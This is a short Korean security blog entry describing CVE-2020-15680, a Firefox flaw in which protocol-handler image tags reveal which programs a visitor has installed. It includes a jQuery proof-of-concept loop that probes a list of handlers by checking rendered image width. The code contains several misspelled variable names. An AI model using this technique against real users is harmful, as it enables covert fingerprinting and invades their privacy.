[하루한줄] CVE-2020-15680 : protocol handler infomation disclosure
URL
leaking browser url/protocol handler
Target
Firebox 78.01
Explain
Firefox에서 Protocol Handler를 이용한 Information Disclosure 취약점이 발견되었습니다. Protocol Handler는 응용 프로그램이 자신의 URI scheme를 등록할 수 있는 매커니즘으로 이를 통해 프로세스를 실행할 수 있습니다. 브라우저가 Protocol Handler URI를 사용해 프로세스를 실행하면 “웹사이트에서 이 애플리케이션을 열려고 합니다.”라는 알림이 뜹니다.
Firefox가 이미지 태그의 소스를 렌더링 할 때, Protocol Handler의 존재 여부에 따라 렌더링 결과가 다릅니다. 해커는 이점을 악용해 원격으로 victim에 설치된 프로그램 리스트를 알 수 있습니다.
<img src="존재하는ProtocolHandler://abc">
victim에 존재하는 Protocol Handler를 이미지 src에 넣으면 broken image에 대한 기본 설정에 따라 Element의 size가 24x24로 렌더링 됩니다.
<img src="존재하지않는ProtocolHandler://abc">
반면, 존재하지 않는 Protocol Handler를 이미지 src에 넣으면 Element의 size는 0x0으로 설정됩니다.
따라서 해커는 간단한 JS script로 Element의 width를 검사해 Protocol Handler의 존재 여부를 확인하는 brute force 공격을 할 수 있습니다.
known_handlers = [
...
]
for (var i = knwon_handers.length -1; i>=0; i--){
handler_id = 'handler_' + i
$('body').append('<img id ="' + handler_id + '"src="'+known_handers[i]
+ '://192.168.133.142/"></img>')
if($('#' + handler_id).css('width') == "24px"){
$('<p>Handler ' + known_handlers[i] + 'Exists</p>').appendTo('#logbox');
}
else{
$('<p>Hander ' + known_handers[i] + 'Does not exists</p>').appendTo('#logbox');
}
$('#' + hander_id).remove()
}
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.